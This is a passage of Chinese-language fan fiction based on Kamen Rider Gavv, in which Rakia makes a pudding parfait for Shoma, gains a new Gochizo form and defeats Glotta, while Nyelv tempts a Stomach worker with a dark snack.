生真背靠树干随手揪下一片叶子在指尖翻来覆去地玩弄,眼睛被长长的刘海所遮挡,拉齐亚仅能看见对方仍然毫无血色的唇瓣,那唇瓣一张一合,以一种平静的语气诉说着从未知与他人的隐秘心情。
“我甚至有想过把它真的偷走,藏起来,让你永远也找不到。”
他的面色冷了下来。
“为什么没这么做?你明明是有机会的。”
“这不是长久之计,拉齐亚。”生真顿了顿,牵起拉齐亚的手,将一个掌心大小的事物塞给了他。“我不希望你被困在这里。”
是樱桃果冻饱藏。
大概根本没想到生真会主动把它还给自己,拉齐亚呆呆地看着同样呆若木鸡的小饱藏,明明在被放任自由,却好像套上了更沉重的枷锁。
不过感觉并不坏。
“没劲——”拉齐亚轻笑一声,弯下腰背,将双手搭上生真的肩膀,直视那双略有些泛红的眼睛,“既然如此,那你就听好了。樱桃果冻饱藏以后我会谨慎使用,由你们监督。”
拉齐亚难得一副认真示弱的神色,生真静静端详了一会儿,忍不住笑了出来。
“我知道了,一定是绊斗和幸果小姐对你说了什么吧?”
拉齐亚叹了口气,决定不再理会这个人,回头朝山洞走去,过了一会儿,又嘴角微扬道:“嗯。他们两个是很不错的人。”
生真快步跟上前面高大的砂糖人,扯着对方的胳膊凑到眼前,歪头笑道:“这么说的话,难道拉齐亚和绊斗的关系已经有不错的进展了吗?”
“没劲。”拉齐亚甩开对方的手,蒙着头自顾自往前走。
“拉齐亚!”
拉齐亚回头,生真还立于原地,神色郑重。
“格罗塔不是无法战胜的,如果一个人做不到,那就我们一起。”
太阳升得更高,日光洒落在树林中形成一片片巨大的光束,周遭的生灵皆已开始躁动,窸窸窣窣的声音不绝于耳。生真站在繁茂的枝叶之间,笼罩于光亮之中,一如当初于黑暗的地下室向自己伸出手,然后坚定地拉入广阔的新世界。
真实的幸福便是当你以为溺入深海一路下坠,再也得不到拯救时,有一束光破开深沉的黑暗坚定地向你笼罩而来。
他想,昨晚的祈祷起效了,他已经获得了幸福。
远远看见两个人回来,幸果放下手中的杯子,激动地朝外面挥了挥手,灿烂的笑容让两人的心情也变得更加轻松。
生真同样挥手致意,小跑过去大声问道:“幸果小姐,你怎么会来?”。
话音未落,他便眼尖地看到幸果身后摆放着五杯色彩缤纷的冰淇淋芭菲。雪白的冰淇淋混着红彤彤的半颗草莓一层一层叠了大半个高脚杯,上面铺了浅咖色的燕麦和坚果碎,与粉粉绿绿的鲜果混杂在一起,又被嫩黄的芒果酸奶淋了个透彻,以一圈圈带着花样的乳白色奶油为盖,顶上撑起一个软软弹弹的金黄色焦糖布丁,沉重的布丁浅浅陷下去几分,奶油被挤出杯口,在周围挂了一圈,一颗鲜红的樱桃颤颤巍巍傲立于最顶端。
明艳鲜丽的童话色彩于小小的透明高脚杯中碰撞,又被一层又一层纯洁的白柔和了边际,层次分明。
“哇!是布丁芭菲!好漂亮!”生真瞬间扑向后方,双手半扒拉着桌子,眼里只剩下着迷的光彩,显然已把一切都抛之脑后。
“你们之间发生这么大事我怎么可能不来坐镇!”幸果费力把生真从地上拽起,伸手贴上对方的额头,略带凉意的温度让她一阵欣喜,她轻锤一下对方的胸口,略带羡慕地感叹道:“你小子身体真好,一晚过去居然都能跑能跳了!”
“幸果小姐,这是给拉齐亚准备的吗?”
闻言,幸果抬头看向几步开外的拉齐亚,对方回望过来,又目光闪躲着迅速瞥向远处。
“不是。”幸果摇头轻笑,然后端起一杯芭菲送到生真手中,“你先尝尝?”
生真接过这梦幻般的甜品塔,鼻尖泛上一股醇厚香浓的蜜糖味,这是布丁上金黄泛焦的糖,杯壁上冰凉的水珠缓缓滚落于指尖泛起阵阵痒意,曾经尝过的、未尝过的,又或是期待的、渴望的,如今皆藏于这小小的高脚杯中。
他看向幸果确认许可后脸上根本止不住笑意,双手合十发出响亮的声音,大声道:
“那我开动啦!”
破开焦褐的表层露出金黄嫩滑的内里,烤制后的甜蜜汁水流向下方雪白奶油,将其融化了半分,勺子以刁钻的角度缓缓侵入内里,触碰上淌着汁水的果子便不再下行,向上提起带出些许裹着酸奶的燕麦碎,连带着上方绵软的奶油与Q弹的布丁一并被稳稳捞起,小小的勺子承受了它本不该承受的重量。
生真品尝任何食物时都是这么急切又夸张,恨不得一口包下一切所见之物,但当入口的那一刻又会细细品味,认真享受美食带来的快乐与幸福,绝不辜负制作者的一片真心。
迫不及待将勺子送入口中,舌尖最先感受到的不是香浓的味道,而是如云朵般绵软丝滑的奶油,而后醇厚的甜便裹挟着蛋奶味以一种迅猛的姿态破势而来。忍不住舌腔微动,本就脆弱的布丁在力道真正袭来之前便揉碎坍塌,轻柔的奶油随之化开温和了强势的甜,这时焦糖的丝丝微苦才终于后知后觉地被舌尖所捕捉。
“好好吃!
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”生真兴奋地瞪大双眼,抬起手中的杯子左看右看,又迫不及待地往下再挖一勺,内里的冰淇淋与水果一同被塞入口腔,冰淇淋的冰凉与水果的酸涩很好地中和了上一勺的甜,一口一口细细咀嚼,清新的果汁泵入咽喉,隐藏于醇厚酸奶中的燕麦与坚果粒被碾碎于唇齿之间,浓郁的油脂味瞬间冲入鼻腔,带来无法忽视的全新感受。
“一口下去居然可以同时吃到布丁奶油和冰淇淋!还有清新酸爽的水果解腻,好有趣的甜品!”
布丁的甜,奶油的绵,冰淇淋的凉,水果的酸,坚果的香,丰富的材料带来极具层次感与惊喜感的味蕾享受,生真满足地眯起了眼,脸上又流露出那副任谁看了都会被感染到的幸福神色。
拉齐亚看着生真那夸张却发自真心的欣喜,终于忍不住翘起嘴角。当看到自己一点一点亲手制作的甜点被最想赠予的对象如此直白真诚地夸奖,自己的身心也会获得极大的满足。
“哦——真的很好吃吗小生真?昨天晚上拉齐昂可是失败了好多次呢!给他打下手简直比研究新武器还累啊!”登特叔公庞大的身躯挤进少男少女之间,盯着桌上剩下的芭菲跃跃欲试。
“欸?”生真一下愣住,他确认似的望向拉齐亚与幸果,拉齐亚早已转过身背对大家,修长的手指正不安地一圈圈卷着他的银白长发,而后者咬着下唇轻轻朝他点了个头,但抽搐的嘴角暴露了她根本无法抑制的笑容。
“这样啊......”生真缓缓搅动手中的芭菲,五彩之色被均匀地分散于白雪之中,红的更红,绿的更绿。
明明在今天之前拉齐亚还是那个除了布丁以外绝不愿触碰任何人类食物的砂糖人,而现在他却捧着拉齐亚亲手制作的布丁芭菲。
他轻扬嘴角,端起一杯芭菲送到拉齐亚面前。“亲手做的,总要亲自尝尝。”
接过自己做了一夜的芭菲,拉齐亚在对方期待的目光下送入口中。亲自打发的奶油,亲自调配的甜度,一切都按生真最喜欢的口味配置,但对于自己来说却还是过甜了。
“好吃吗?”
甜味是幸福的要素,它能促进人类的大脑释放多巴胺以此感到愉悦与满足,但看着面前逐渐扬起灿烂笑容的生真,拉齐亚第一次知道原来甜味不仅会作用于人类,还有来自异世界的砂糖人。
这个砂糖人扬起嘴角,眼中流露出生真从未见过的温柔与幸福。
“很甜,很好吃。”
太好了,拉齐亚终于获得了幸福。
生真豁然放松,连日来的疲惫与心酸一扫而空,一股暖流从心脏流向四肢百骸,又附着了力量从全身向腹口汇集而去,腹口传来一阵闷痛,这是饱藏即将出生的征兆。
生真迅速回身背对拉齐亚,刚掀起衣服下摆,小小的布丁芭菲饱藏便已咕噜咕噜着冲出了温暖的出生地,于空中翻滚了一圈后稳稳落在主人的掌心。
“芭菲!芭菲!”小饱藏兴高采烈地向主人打招呼,通黄的小脸下方绕着一圈白花花的奶油与冰淇淋,各色水果星星点点地隐藏在各个角落。
“哇哦!又有新伙伴了么!”幸果一脸好奇地凑到生真手边,伸手挠了挠小家伙冰凉顺滑的头顶,“这孩子长得可真像拉齐昂的布丁饱藏啊~就是个头好小。”
“毕竟都是布丁嘛!”登特叔公发出爽朗的笑声,只要是生真的饱藏,他就没有不喜欢的。
小饱藏于掌心转了一圈,在见到生真身后探头探脑的水母砂糖人时一个昂首挺胸瞬间弹上拉齐亚的肩头,在众人震惊的眼神里亲昵地蹭了蹭对方的脸颊,然后又乖乖回到生真的掌心。
“好——可——爱——!”幸果发出无声的尖叫,双手扒拉着拉齐亚的肩膀猛烈摇晃,“不愧是拉齐昂亲手制作的芭菲,连饱藏都这么亲近你!下次我也做一个给美味生吃,我也要得到饱藏的爱!”
“哦!既然如此,那芭菲就是老夫的啦!”登特叔公一把捞走剩下的芭菲,连带着勺子与高脚杯一同扔进了大嘴里,嚼得不亦乐乎。
“啊——登特叔公吃掉我的也就算了,怎么把绊迪的份也吃掉了!”
“别那么小气嘛,让拉齐昂那小子再做几份就行了!”
“下次不准把容器一起吃掉啊叔公!”
现在是早上八点,日头正是高升,阳光斜斜照进山洞之中,新的一天正式开始。
6. 芭菲与黑巧双重奏(1)
“我饿了,幸果小姐!”
“等会与绊迪汇合我们一起去吃好吃的吧!美味生急需补充点能量才好养伤吧。”
“嗯!那我要吃薯片!软糖!嗯......还有拉齐亚做的布丁冰淇淋芭菲!”
“哈哈哈喂!这不都是小零嘴么......”
生真掰着指头还没数完,胳膊却被突然扯住,他抬头望去,拉齐亚正紧抿嘴唇死死盯着前方,神色凝重。
“找到你们了,红腹口。”
熟悉的声音响起,生真浑身肌肉应激般地瞬间紧绷,一袭黑色蕾丝长裙的格罗塔扛着镰刀施施然拦住了三人的去路。
“......格罗塔姐姐。”
“嗯,你果然还活着。”她满意点了点头,笑得相当灿烂,“你应该感谢那群小崽子,否则昨天你就该死在我的刀下了。”
“它们被你彻底杀死了,这样是无法获得幸福的。”生真的声音冷了下来,他警惕地挪步到幸果面前将她整个挡住,蛋糕王饱藏已不知什么时候钻入了掌心。
幸果这才意识到,平时总是亦步亦趋跟在生真附近的几只小饱藏已很久未出现,显然是在昨天的那场战斗中消逝了。
轻轻捏了捏生真的肩膀以示安抚,拉齐亚跨出一步站在最前方,布丁饱藏应声而来,被迅速插入腰间的驱动器。
[布拉姆驱动]
“既然社长的样子被看到了,那你就别想再活着回去!”
“好啊~那让我看看一晚过去你能有多少长进,居然敢这么对我说话!”
格罗塔伸手拔出人皮小偶,狂风携着深海的气息一下爆发开来。
[布拉姆焦糖布丁形态]
[神异蛋糕王]
幸果慌忙躲到远处,狂风渐歇,人迹罕至的大桥之上,漆黑的砂糖人与多彩的零食骑士各站两端。
“井上...美知留......除了名字什么线索都没有,将近二十年前的失踪信息果然很难找啊......”绊斗快速翻阅刚弄到手的失踪人口名单,滑到最底下,依然没看见想要找的名字。
前段时间自己向生真提起帮他寻找人类世界的家人时,他的态度显得模棱两可,似乎并不是很愿意接触那可能存在的未知亲人。
大概之前自己质问他身份的时候被刺激到了吧。绊斗苦笑了一下,就连当时并肩作战了许久的自己一时间都难以接受,更何况是关系更为复杂的家人呢......
但他依然决定暗中寻找,万一哪天生真能解开心结,至少能够拥有血脉相连的归属,那是他们万事屋的几个朋友都无法代替的真正血亲。
“喂,你说你是十多年的老员工?那你知道生真的母亲吗?”
“红腹......咳,生真大人的妈妈啊......”柴崎导演扭了扭酸痛的身体,仔细思索了一番,摇头道:“我只知道确实有个人类女人被囚禁在总部,而且在我成为临时工之前就在了,不过其他就不是很清楚了,因为从来没人见过她。倒是红腹口,由于经常被抓去实验室做人体实验,所以临时工里很多人都知道。”
“说了不准叫红腹口了!”绊斗轻轻踹了一脚,正待再问,大门却突然被打开,悠闲的脚步声从楼梯间传来,他放下手中的平板疑惑看向上方,不是熟悉的脚步声,但这里应该没人会来。
“......是拉齐亚吗?”握紧瓦伦破坏枪,绊斗站起身缓缓挪向柴崎导演。
“很不幸,这个时候他们应该已经被姐姐大人缠住了吧~”黑色的长筒靴稳稳踏上地下室的水泥地,来人抬起右手扶了扶耳朵上架着的金边眼镜,戏谑精明的眼神透过镜片看向人类。
“尼耶鲁布大人!”柴崎导演瞬间坐直身体,偷偷撇了眼在场唯一的战力辛木田绊斗,当即扑通一声跪倒在地,“我没有背叛斯托马克!请放过我吧!”
“你是尼耶鲁布!”绊斗瞪大了双眼,一时间竟搞不懂来人的目的——尼耶鲁布应该并不怎么主动参与抓捕人类,他对其最大的印象也只有与酸贺研造狼狈为奸,盗走苦涩加布的实验资料。
不过只要是斯托马克,他一个都不会放过!
摸出白巧饱藏正待插入破坏枪,对面的砂糖人却先开了口。
“等等,我不是来和你打架的。”尼耶鲁布轻巧取走绊斗手中的白巧饱藏随手一扔,视线随意扫过早已大变样的地下室,礼貌微笑道:“这位临时工你们应该已经用好了吧?可以把他借给我吗?放心,我不会让姐姐杀了他的。”
“红腹口,姐姐再给你一次机会!”格罗塔随手打散奶油小兵,甩开镰刀一刀挥向生真。
“锃!”武器相交,生真不由后退几步,巨大的力道震得他虎口发麻,伤口似乎又有开裂的迹象。
她停驻下来,瞥了眼捧着饱藏眼巴巴望着这边的幸果,笑道:“只要你不妨碍家族的业务,你愿意在人类世界交什么朋友姐姐都不会管你。”
“我要是不同意呢?!”
手腕突然被红腹口拽住,蛋糕王的面甲一下子近在眼前,鲜红的复眼中随即闪过数道金光,格罗塔当即一脚踹开红腹口,镰刀爆起熊熊烈焰猛地挥向身后,大片金色光束劈开烈火轰然到达面门!
数道光箭击中皮肤上的吸盘,红光急促闪烁,照得格罗塔愈发诡异。
“不要勉强!”拉齐亚收回弓箭,大喊道。
“抱歉。”
生真从地上爬起来,眉头紧皱。如果自己能再支撑片刻,拉齐亚的攻击也不会被击落大半。他迅速按住奶油长枪,大量奶油炮被激发,趁着格罗塔视线被遮挡时一□□出,却被对方反手绞住猛地朝后方顶去。
“红腹口,不要以为每一次姐姐都会放过你!”
生真被击得连连后退,背部猝然撵上金属围栏,半个身子悬在大桥的围栏外,他的脸色当即白了几分。耳边再次传来极具危险的破空之声,眼看格罗塔又要反击,他死死擒住对方的双手,腰部一扭,将她整个人带向左侧,拉齐亚的电锯随即劈上嶙峋的皮肤。
格罗塔踉跄了一下,黑紫色的火焰顺着刀柄朝尚未抽手的生真蜂拥而上,腰间一股巨力袭来,生真尚未来得及反应就被猛地扯向后方,迅速远离了跳动的烈火。
收回触手,拉齐亚感受到从生真身上传来的杂乱心跳,顿时心中一沉。
生真的身体本就尚未恢复,根本无法发挥蛋糕王的全部实力,更何况这个饱藏还有大量消耗使用者体力的副作用,这持久战恐怕是打不下去了。
难道,要再次使用樱桃果冻饱藏吗?
“芭菲!芭菲!”
“啊,小芭菲你别哭啊......”幸果躲在远处手忙脚乱地替小芭菲擦眼泪,心跳随着电话的忙音七上八下,为什么绊迪的电话也打不通啊!
“拉齐亚!”
生真高呼了一句,再次挥出长枪,金色的光芒迅速截断对面来势汹汹的火焰,金色的骑士挺身拉弓,雪白的王者缓缓下蹲,两人默契地启动最强杀招,汹涌的能量快速朝中心汇聚。
双腿用力下蹬,蛋糕王轻盈地升至高空,大量金色箭矢悬于身侧蓄势待发,衬得对方宛若展翼的纯洁天使,与此同时拉齐亚化弓为刃,依凭触手的能力以近乎闪现的姿态快速朝敌人逼进。
“你们两个家伙!”
格罗塔怒骂一声,不守反攻,镰刀铛得一声磕在地上,周围燃起熊熊烈火,黑紫色的烟雾一下子爆发开来,又仿佛拥有生命一般快速朝镰刀聚拢而去。
有了黑雾的加持,她抬起廉刃振臂一挥,四股能量爆出刺眼的光芒,汹涌的能量波朝周围扩散,瞬间吞没所有人的身影。
“美味生!拉齐昂!”
兀然,小芭菲从掌心挣脱,化为一道金色流光朝能量波中心袭去,瞬间淹没进黑漆漆的雾气之中。
“小芭菲!怎么都这样!”
又是一阵沉闷的巨响,狂风席卷而来,幸果刚追出几步就被掀翻在地,手机脱手,屏幕上仍显示着“等待接通”的字样。
“你开什么玩笑!”
身侧的椅子被咣当一声甩到远处,绊斗一把揪住尼耶鲁布的衣领怒道:“谁不知道你和酸贺互相勾结做人体实验!不管是人类还是砂糖人,死在你们两个人手上的性命肯定不在少数,而像我这样被诱骗着成为小白鼠的人一定更多!你以为我会相信你吗!”
“喂,这你可就冤枉我了~”尼耶鲁布笑着掰开绊斗的手,传来的巨大力道让他完全无法反抗,“不管是酸贺经手的你,还是我经手的海月9,又或是更多的砂糖人,不都变得更加强大了吗?”
“如果没有酸贺博士,你怎么可能有机会变身为假面骑士,又怎么有力量亲手杀死他为你的师傅报仇呢?”尼耶鲁布指着对方的胸口,满不在意地说道:“而如今海月9也正凭借着我赋予他的力量
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与我的姐姐战斗,你们都应该对为科学献身而感到自豪。”
“哼,胡言乱语,歪门邪道!”
[布拉姆驱动器]
绊斗一掌拍开尼耶鲁布的手,布拉姆驱动器已然贴于腰间,巧克力冰沙饱藏蹦上掌心蓄势待发。
“哦?看来你是打算护着他了?”尼耶鲁布看向绊斗腰间的驱动器,非但没有生气,反而笑得更加开心,反常的态度让绊斗一阵心惊。
[布拉姆巧克力冰沙形态]
凌冽的寒气瞬间散溢于整个地下室,绊斗迅速回身朝柴崎导演来了一枪,捆了砂糖人十几个小时的甜甜圈应声而裂。
“快跑!”
又一发巧克力弹射出,险险擦过尼耶鲁布的脸颊,对方轻皱眉头,身体一晃便骤然消失,又突然出现在绊斗的另一侧。
“喂喂~你不能欺负我这么个手无缚鸡之力的科学家啊~”一只手如毒蛇般缓缓攀上绊斗的肩膀,冰凉滑腻的触感激得他浑身泛起鸡皮疙瘩。
柴崎导演疯狂甩动麻痹的四肢,手脚并用地跑出几步后又缓缓顿住,回头犹豫着看向被缠住的瓦伦。
他颤抖着手伸向腹口中的人皮小偶,如果是两个人的话......
就在这时,尼耶鲁布从瓦伦的另一侧幽幽冒头,朝自己咧开嘴角,泛光的金边眼镜下,颤抖的身影倒映于茶金色的竖瞳中,柴崎导演登时双腿一软,惊声尖叫着破门而出。
片刻之后,四周的空气终于不再猛烈涌动,耳边变得极为安静。
幸果小心翼翼睁开双眼,不远处,两位骑士紧紧护在一起倒在一旁,两只饱藏随意摔落在远处,没了动静。
小芭菲不见了。
幸果撑起身体,烟尘快速消散开来,正中央竟缓缓现出一面巨大的银色护盾,隐隐绰绰悬在二人前方。
这......
“哈哈...哈哈哈哈哈......你们的最强力量也不过如此!”
格罗塔用力抹开唇角渗出的血液,踉跄着站起身,那把可怕的烈焰镰刀在刚才的攻击中龟裂开来,发出颤颤巍巍的声音。
格罗塔随意扫了一眼,甩开已然报废的武器,冷笑一声道:“不过我很开心,红腹口,你可比吉普和西塔那两个废物强多了,我是真的很喜欢你。”
“只是可惜......你把她杀了......”她一步步靠近,吸收了大量能量的身躯一片鲜红,流光闪烁,朝着拳心汇聚。“你说我该拿你怎么办呢?”
“咳......”生真轻咳了两声,抹开脸颊上的鲜血从拉齐亚的怀里缓缓爬起,伸手够向被打落于地的蛋糕王饱藏。
手腕被另一只手抓住,拉齐亚对他摇了摇头,轻声道:“可以了,接下来就交给我吧。”
拉齐亚摊开掌心,消失不见的小芭菲一改哭丧的表情,正活跃地蹦蹦跳跳,那面银色巨盾快速缩回饱藏的体内,银色光芒化为杯状实体逐渐包裹住饱藏小小的身躯,几秒之后,完整的布丁芭菲杯饱藏正式成型。
是它选择了自己。
拉齐亚深吸一口气压下心中的躁动,站起身将生真挡于身后。
“社长!把生真带走!”他缓步走向格罗塔,震声道:“现在你的对手是我,拉齐亚·阿玛鲁加!”
紧紧握住手中沉甸甸的饱藏,醇厚敦实的力量从掌心传递向心脏,他将饱藏贴近胸口状似祈祷,一切的恩怨将会于今天划上句号。
“海月9。”格罗塔停住脚步,鲜血划过怪异的面容,染红了那张几乎咧到耳根的唇瓣:“想来寻死吗?我杀你可没有负担。”
“好巧,我也没有。”
[甜品制作]
巨大的透明布丁从地面升起包裹住拉齐亚的身躯,层层叠叠的鲜切水果迸发而出,兜头淋上雪白的奶油,伴随着驱动器急促的鼓点,拉齐亚的指尖勾上银白发丝,抬眼看向格罗塔。
“变身!”
[大满贯!]
饱藏发出高昂的叫喊,周身的水果切片极速旋转,切割了滑嫩的焦糖布丁,强烈的光芒从布丁内部猛然爆发,遮挡了所有人的视线。
[布拉姆布丁芭菲形态]
光芒向中心急速汇聚,不过片刻便爆出甜腻泛苦的气味,立于拉齐亚位置的是一个全身包裹在银色硬甲之下,点缀着金黄色布丁软甲的骑士。
全新的假面骑士布拉姆就此诞生。
7. 芭菲与黑巧双重奏(2)
“用哪只饱藏都一样!”
格罗塔瞪大双眼,以近乎闪现的姿态一拳轰上拉齐亚!红光爆闪,灼热的高温弥漫出布丁焦苦的气味,拉齐亚连连后退,撞上大桥的铁质围栏,勉强止住脚步。
格罗塔愣了一下,晶蓝色的水母触须在自己眼前缠绕成圈,在布丁芭菲饱藏的力量下瞬间化为银盾,拳头击打在泛着冷光的武器之上,竟连一丝痕迹都没留下。
“......居然能硬接下我这一拳,变强了不少啊~”
拉齐亚从银盾后轻笑出声,“是吗?说起来还真是要谢谢你呢,格罗塔姐姐!”
猛地挥出银盾击退对方,掉落一边的武器被水母触须抛飞到空中,翻落而下,他一把抓住刀柄,奋力一挥,极近的距离,就算是格罗塔也必然避之不及!
海怪砂糖人吃痛,狠狠撞上铁围栏,眼角蓝光闪过,她迅速侧身避过攻击,又一击倾泻而下。
身下的金属发出轻微嗡鸣,似有断裂的迹象,她旋身避开攻击,捏起拳头发动进攻。
强烈的红光遮蔽住两人的视野,拉齐亚往后跃去,拉开弓弦,取代金色箭矢的是属于海月水母的晶蓝色能量波,惊人的能量从四周向武器汇聚,发出尖锐的啸音。
能量的乱流中,箭矢轰然炸开,雾霭沉沉的阴霾之中突然蹿出一条触手,精准缠住拉齐亚的身躯。
“海月9!”
一声怒吼,拉齐亚避之不及,仅来得及听见清晰的金属断裂声,便猝然下落。
“拉齐亚!”/“拉齐昂!”
幸果和生真匆忙冲进弥漫的火光之中,大桥的围栏断裂,两人纷纷坠落向相当湍急的河流中。
水花四溅,不远处滚滚流水汇入大海,翻腾的浪花砸向浅滩,推拒出两个人的身影。
“海月9,你可比你弟弟优秀多了~”
格罗塔踉跄着站起身,带有吸盘的触手随着激荡的流水一起一伏,竟将河流都染红了大片。
感受到主场的优势,她笑道:“你那个弟弟有胆子偷偷跟着我的眷属溜回公司,却在撞到我的时候吓得连话都说不出。如果他能有你一半的能力,我也不至于杀了他。”
“你这个恶魔......根本没有资格提科梅尔!”
“那是他自己找死!”格罗塔怒视着拉齐亚,触手隐蔽在河流中快速延展开来,“我可是给过他机会的,我把黑暗零食塞到他手里,还答应他只要吃下去,就会把他送回人类世界,不再追究......”
“是他自己不愿意,把黑暗零食摔在了地上!还哭闹着要回去找哥哥!哈哈哈哈哈哈哈哈要不是我心软放任他离开斯托马克,你以为你能见到他吗?!”
话音未落,周围的水面陡然溅起几米高的水花,七八条触手冲出水面,猛地朝拉齐亚袭来!
“拉齐亚!”
高处传来一声叫喊,与此同时,一道红光越过成群的触手刺中格罗塔,对方吃痛,触手陡然紧缩,停顿了一瞬,随即便被紧随其后的箭矢击落大半。
“红腹口!”
格罗塔怒意陡升,刚想进攻,下半身竟传来绵密的刺痛,随即一股麻木而奇妙的感觉搅入脑海。她心头一跳,花白的水面之下,大量晶蓝色的水母触须刺入皮肤,毒素渗透进血管,不过一瞬便开始起效。
她竟忘了,水域不仅是自己的主场,同样也是身为水母砂糖人的海月9的主场!
爆裂的水花之中,拉齐亚化弓为刃,瞬间闪现至格罗塔面前,狠狠劈下!
“难道还要让我感谢你吗?真是可笑!”
又一道攻击落下,麻木的大脑在刺激之下清醒了几分。
“你杀死科梅尔的那一刀,你可要亲自还给他!”
她攒拳攻击,却再次撞上坚如磐石的银盾。
“还有这一刀,是井上生真的!”
极端的奇妙感觉麻痹大脑,连落在身上的攻击都再无法刺激,格罗塔仅能听见海月9隐约的怒音。
“海月......9......别太嚣张!”
“这最后一刀,是所有想要脱离斯托马克却被你绞杀的临时工的!”
红光急促爆闪之中,格罗塔僵在了原地。
拉齐亚后退几步握住腰间的扳手,抬起又按下,机械音调之下是布丁芭菲饱藏激动的叫声,任谁都听得出小家伙昂扬的斗志。
[布丁风暴]
拉齐亚缓缓下蹲,能量源源不断地从饱藏传递到腿部,他怒吼一声,如同一道利剑直冲向格罗塔!
生真立马转身护住幸果,巨大的水花冲天而起,化为雨珠砸落下来,热浪翻滚,银金色的骑士从冲天的烈火中一跃而出,火花纷飞,洋洋洒洒落于他的身侧。
拉齐亚喘息着回头,汹涌的水面之上再也不见那个高傲霸道的海怪身影,破碎的人皮小偶浮在水面之上,在滚烫的热浪下变得一片焦黑。
一切都结束了......
拉齐亚取下布丁芭菲饱藏,小小的饱藏挥舞着双手向自己邀功,焦黄的面孔泛出红晕,可爱得很。他看向那个破碎的小偶,终于真切感受到了畅快之意。
“拉齐昂!”
“拉齐亚!”
拉齐亚回头,大桥之上,两位伙伴倚着栏杆朝自己挥手,生真浑身上下被水花打湿了大半,刘海塌在脸上,傻傻的,却笑得相当灿烂。水母触须卷起掉进水中的咬咬剑甩向上方,剑柄抛飞,再次回到生真的手中。
两人相视一笑。
他会带着科梅尔的梦想,在这片土地上创造一个幸福的未来。
“砰!”
地下室的大门再次被撞开,绊斗翻滚着撞上小巷的墙壁,堪堪稳住身形,漆黑的金属长鞭便朝着面门袭来。
侧身躲过一击,绊斗立刻握紧武器警惕望向黑漆漆的门洞。
尼耶鲁布的力量并不算强,绊斗能确定这一点,姐弟两人的实力差距肉眼可见的大,但尼耶鲁布身形鬼魅,行动迅捷,一旦被他盯上就如同被毒蛇缠上的猎物,就这么两三招下来居然让绊斗有些心生畏惧。
“你不怕这次救了他会后悔吗?”
尼耶鲁布提着冒着冷光的剑柄踏出地下室的大门,脸上依然挂着温和的笑容。
“你什么意思!”
他斜眼看了看越溜越远的临时工,手腕一动,剑身再次化为长鞭,如灵活的海蛇扭动着朝对方袭去,快速奔逃的身影一下被绊倒,导演回身望向尼耶鲁布,即使不再有任何限制也不敢有半分挣扎。
尼耶鲁布回看了一眼绊斗,并不说话,慢悠悠从兜里掏出一个黑色的方形盒子。那个盒子小巧玲珑,镶着金边,正中心用金箔镶着斯托马克的标志,虽然简单却挡不住奢华气息。
盒盖缓缓打开,一个黑金色的小方块落入三人的眼中,随着力道轻微颤动,如同Q弹滑软的果冻。奇怪的味道从这东西身上弥散开来,不算好闻,绊斗皱了皱眉,疑惑更甚。
尼耶鲁布小心翼翼取出内容物,对绊斗挑衅似的挑了挑眉,然后转过身将其展示给不远处的柴崎导演。
“最上等的品质,平时只会供应给上头那群人,你恐怕连见都没见过。我好不容易才从兰戈哥哥那里求来的,可都是为了你~”尼耶鲁布朝对面的砂糖人递出手中的事物,笑得灿烂。
绊斗心头一跳,转头看向柴崎导演,对方的眼神直勾勾盯上那个小小的事物,喉结不住地上下滚动,他颤抖着从地上爬起来,脸上控制不住地攀上蕴藏疯狂的笑意,全然忘记了对斯托马克的愤怒与恐惧!
此情此景,哪怕再迟钝的人都能明白尼耶鲁布拿出的到底是个什么东西!
那个以人类的幸福为调味料,残害了无数人类和砂糖人,甚至包括自己和生真母亲的罪魁祸首——黑暗零食!
“你清醒一点!”绊斗冲上去拦住柴崎导演,怒道:“他可是尼耶鲁布!你不要命了吗?!”
“放开我!”柴崎导演抬起头,满脸的疯狂意味让绊斗心生颤抖。
“那可是最上等的黑暗零食
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!”他双手捂住面孔,瞳孔却在不自觉地放大,抑制不住的笑声从指缝中泻出,“你闻到那股香味了吗?那会比普通的黑暗零食更加甜美!从入口的那一刻,激烈的刺激与你的身心互相交融,缠绕上你的大脑,那种极端的幸福甚至能带我回到砂糖人世界,带我回到我的家!”
“可那种幸福是虚假的!你要做的不是沉溺于黑暗零食制造的幻觉,而是反抗斯托马克,回到你真正的家!”
“你是想妨碍我吗?!”
砂糖人用力甩开绊斗的手,虚假的人类面孔上再无丝毫理智可言,他毫不犹豫掀开自己的衣服,非人类的可怖器官暴露于空气之中。
“为什么......你明明很羡慕科梅尔......”绊斗颤抖着举起枪,黑暗零食的诱惑力显然超出了他的想象,难道这东西真的一旦接触就再也无法回头了吗?
黑暗零食......
都是这该死的黑暗零食!
绊斗瞥向尼耶鲁布手中金灿灿的事物,那颗小小的黑暗零食是堆积如山的人类尸体,那极端的成瘾性是被掠夺浓缩的人类幸福。
“砰!”枪口吐出硝烟,带着滔天的怒火朝黑暗零食席卷而去。
然而,一股巨力袭来,绊斗的枪口一歪,整个人被砂糖人撞翻在地,流着涎液的长舌先一步从腹口中探出,与子弹一前一后冲向黑暗零食。子弹偏离轨迹,险险擦过尼耶鲁布的指尖,轰然击中小巷的墙面,落下一片焦黑的碎石,而小小的零食毫不意外地落入砂糖人手中。
“你干什么!”
绊斗愤怒回头,然而眼前的景象却令他浑身的血液全部凝固。
“绊斗!这边!”
这是妈妈的声音。
他捧着球回头,眼前一道漆黑的身影闪过,隔开了自己与妈妈的距离。
妈妈消失了。
在这只肚子上长着血盆大口,吐着红舌的漆黑怪物突然出现又突然消失的这几秒中,妈妈诡异地在自己眼前凭空蒸发了。
他再也找不到她了。
后来,他知道这种怪物叫作砂糖人,而妈妈则在遇见生真的那天被兰戈化为尸水,带着恐惧,带着绝望,带着思念,成为黑暗零食的原料,不知道进了哪个砂糖人的肚子里。
如今,这个砂糖人又如同十几年前一样,突兀地,猝不及防地进入了他的视野。
“哈哈哈哈哈哈!”尼耶鲁布甩了甩被子弹震麻的手掌,好整以暇地往地上一蹲,朝绊斗歪了歪脑袋道:“我说过你会后悔的。”
命运就是如此不公,在一秒前自己还想这个砂糖人似乎还有救,而下一秒却告诉自己他是寻找了十几年的罪魁祸首。
浑身力气都仿佛被抽了个干净,绊斗一下跪倒在地,又不敢确信地喃喃自语:“十五年前的九月三号......五道天桥上,你绑架了我的妈妈,是吗?”
旁边的砂糖人似乎根本没听见绊斗的提问,半跪在地上,眯着双眼,一口一口贪婪地品尝着手中的美味。
